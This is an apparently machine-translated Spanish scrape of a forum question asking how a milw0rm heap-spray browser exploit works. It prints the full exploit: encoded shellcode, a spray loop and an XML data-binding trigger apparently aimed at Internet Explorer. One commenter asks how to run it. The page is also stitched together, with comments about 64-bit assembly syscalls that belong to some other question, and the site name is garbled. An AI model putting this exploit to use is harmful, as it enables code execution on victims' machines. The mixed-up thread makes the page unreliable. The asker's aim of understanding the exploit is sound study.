¿Cómo funciona este exploit de fumigación en montón de milw0rm?

5 minutos de lectura

avatar de usuario
patricio desjardins

Por lo general, no tengo dificultad para leer el código JavaScript, pero para este no puedo descifrar la lógica. El código es de un exploit que se publicó hace 4 días. Puedes encontrarlo en milgus0rm.

Aquí está el código:

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

Esto es lo que creo que hace y me gustaría que me ayudaran con la parte que no entiendo bien.

La variable shellcode contiene el código para abrir el calc.exe. No entiendo cómo han encontrado esa extraña cuerda. ¿Alguna idea?

Lo segundo es la variable. spray. No entiendo este bucle extraño.

Lo tercero es la variable. memory que nunca se usa en ninguna parte. ¿Por qué lo crean?

Lo último: ¿qué hace la etiqueta XML en la página?


Por el momento tengo buenas respuestas, pero sobre todo muy generales. Me gustaría más explicaciones del valor del código. un ejemplo es unescape("%u0a0a%u0a0a");. ¿Qué significa? Lo mismo para el bucle: ¿por qué el desarrollador escribió: length < 0xd0000? Me gustaría una comprensión más profunda, no solo la teoría de este código.

  • Debería investigar la fumigación en pilas: en.wikipedia.org/wiki/Heap_spraying

    – BobbyShaftoe

    19 de diciembre de 2008 a las 15:01

  • ¿Cómo ejecutamos con éxito este exploit? ¿Tenemos que ejecutarlo en IE?

    – bad_keypoints

    6 de julio de 2013 a las 9:43

  • Agradezco este esfuerzo de su parte para esta explicación. +25 reputaciones y todo mi respeto. Gracias

    – Patrick Desjardins

    19 de diciembre de 2008 a las 16:00

  • gran respuesta pero buen señor – de repente no soy bueno con la computadora 😉

    – nombre de usuario

    8 mayo 2009 a las 18:50

  • Me sorprende la gente que se las arregla para inventar este tipo de proezas. Si son lo suficientemente inteligentes como para hackear la cuenta bancaria de alguien con esto, se merecen todo el dinero que puedan robar 😉

    – Martín

    30 de octubre de 2009 a las 7:14

  • Si hubiera un santuario de buenas respuestas para SO, este estaría en él.

    – San Jacinto

    19 de diciembre de 2009 a las 15:09

  • El desmontaje parece absurdo y completamente aleatorio. Eso no puede estar correcto. Traté de intercambiar bytes, asumiendo que los caracteres en una cadena estaban almacenados en little-endian, pero no funcionó.

    – Juho Ostman

    17 de noviembre de 2010 a las 19:48


  • ¿Crees que algo así podría pasar con las extensiones de Chrome?

    – bad_keypoints

    6 de julio de 2013 a las 9:44

  • no use el int 0x80 ABI de 32 bits en código de 64 bits. Fallará para las cadenas en la pila, porque el kernel solo mira los 32 bits bajos de los argumentos de llamada al sistema. ¿Qué sucede si usa el ABI de Linux int 0x80 de 32 bits en código de 64 bits? (En ese caso, crearía un ciclo infinito, porque sys_write volvería -EFAULTy mov $1, %al dejaría los bits superiores establecidos, por lo que obtienes -ENOSYS en lugar de sys_exit). Además, en el código de 64 bits puede simplemente jmp adelante sobre la cadena y use un RIP-relativo lea para obtener la dirección, en lugar de call/pop.

    – Peter Cordes

    3 de julio de 2018 a las 22:03


  • Esto también fallará para gcc que crea ejecutables PIE de forma predeterminada, porque incluso su matriz de caracteres de almacenamiento estático estará fuera de los 32 bits bajos. (Y por cierto, si fuera const char payload[] entonces estaría en el segmento de texto (en la sección .rodata) y no necesitarías -z execstack.)

    – Peter Cordes

    3 de julio de 2018 a las 22:06

  • También, movl 4, %rax contiene un byte cero (y no se ensamblará debido a la falta de coincidencia del tamaño del operando, y le falta un $ entonces el 4 es una dirección absoluta). Creo que publicaste una versión anterior de tu fuente. Mis comentarios anteriores son de mirar el desmontaje donde agregó un sys_exit llamar.

    – Peter Cordes

    3 de julio de 2018 a las 22:08

¿Ha sido útil esta solución?